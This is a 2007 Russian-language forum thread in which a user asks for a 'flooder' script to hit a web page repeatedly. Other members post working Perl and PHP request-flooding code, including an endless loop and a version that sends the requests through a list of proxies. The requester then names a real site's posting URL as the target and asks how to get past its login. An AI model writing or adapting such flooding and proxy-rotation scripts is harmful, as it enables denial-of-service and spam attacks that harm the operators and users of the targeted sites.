PDA

Просмотр полной версии : Элементарный флудер


Napalmed
08.05.2007, 02:38
Люди, нужен самый банальный и простой скрипт, который будет заданное количество раз обращаться к странице и передавать ей статичные параметры

http://domain.com/index.php?id1=xxx&id2=xxxx

Ну то есть тупо флудер. Готовые решения, найденные в сети, либо не подходят, либо лагают... :confused:

Может кто-нибудь набросать код? На чём угодно - яваскрипт, пхп, перл... Буду очень благодарен.

hidden
08.05.2007, 07:13
#!/usr/bin/perl

use IO::Socket;

for(1..2){
print &GetPage('domain.com', '/index.php?id1='.rand(99999).'&id2='.rand(999999));
}

sub GetPage {
local($serv, $page, $ret, $buf)=@_;

my $s = IO::Socket::INET->new(
PeerAddr => $serv,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM) or return 0;

print $s join("\r\n", (
"GET $page HTTP/1.1",
"Host: $serv",
'Accept: */*',
"Referer: http://$serv$page",
'User-Agent: MSIE 6.0',
'Connection: Close',
'',''));

while(read $s, $buf, 4096){ $ret.=$buf }

close $s;

return $ret;
}

Napalmed
08.05.2007, 09:39
Спасибо!

Теперь ещё хотелось бы интерпретацию на других языках... Есть тут любители? ;)

Napalmed
08.05.2007, 10:15
Вот сцуко! Не хочет работать! Залил на сервер - выдаёт 500
Проверяю на денвере - если не писать в начале print "Content-type: text/html\n\n";, то снова ошибка 500 и пишет в лог

[Tue May 08 10:08:40 2007] [error] [client 127.0.0.1] malformed header from script. Bad header=HTTP/1.1 302 Found: /home/localhost/cgi-bin/da.pl

Если Content-type писать, то скрипт выводит (дважды, конечно) все параметры: То есть кодировку, HTTP, сам запрос, и... и нечего. Эффекта никакого =( Я ещё и перл не знаю, скажите, я туплю?

KSURi
08.05.2007, 11:51
2hidden

чтение ответа в данном случае только замедлит работу флудера

Ch3ck
08.05.2007, 12:20
<?
set_time_limit(0);
$host = 'www.domain.com';
while(true) {
$path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if($fp)
// ;)
{
$headers = "GET $path HTTP/1.1\r\n";
$headers.= "Host: $host\r\n";
$headers.= "Connection: Close\r\n\r\n";
fwrite($fp, $headers);
while(!feof($fp))
{
}
}
fclose($fp);
}
?>
Так.
Или через прокси.(Больная тема).

<?
$host = "www.domain.com";
$path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);

//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy = fopen('proxy.txt', r);
$proxy = fread($f_proxy, 65000);
$proxy_server = explode("\n", $proxy);
$n=count($proxy_server);
for ($i=0; $i<=count($proxy_server)-1; $i++)
{
$proxy_serv[$i] = explode(":", $proxy_server[$i]);
}
fclose($f_proxy);

for ($i=0; $i<count($proxy_serv); $i++)
{
$fp = fsockopen($proxy_serv[$i][1], $proxy_serv[$i][2], $errno, $errstr, 10);
if($fp)
// ;)
{
$headers = "GET $path HTTP/1.1\r\n";
$headers.= "Host: $host\r\n";
$headers.= "Connection: Close\r\n\r\n";

fwrite($fp, $headers);
while(!feof($fp))
{
$rez_data = fread($fp,1024);
// здесь код для обработки ответа
//А лучше действительно не //принимать ответ.
}
fclose($fp);
}
else
{
echo "$errno $errstr";
}
}
?>

Napalmed
08.05.2007, 12:33
)))
Спасибо!
На моём примере (это www.emo.nnov.ru/index.php?id=626&id2=1&posting=true&title=Титл+поста&text=текст&redirect=1 ) не работает, но это не из-за скрипта, полагаю. ХЗ... Будем искать, в чём дело.

Napalmed
08.05.2007, 12:55
ДЕЛО В АВТОРИЗАЦИИ.

Господа, я дураг, скрипт должен сначала авторизоваться на сервере и сохранить где-то печеньки... =(

BlackLogic, на тебя вся надежда! Процедура авторизации...

Developer
08.05.2007, 19:45
Дай сайт...

Developer
08.05.2007, 19:46
Вот пока есть пара свободных минут, мог бы написать :) Только я не знаю какие куки принимает/отдает сервер.

Napalmed
09.05.2007, 14:13
Оу...
www.emo.nnov.ru

kols
20.05.2007, 18:37
что тебе нужно мне скажи нормально а то я чёта не понял о чем тут речь

Napalmed
21.05.2007, 19:23
Да не, спасибо, уже не надо. =)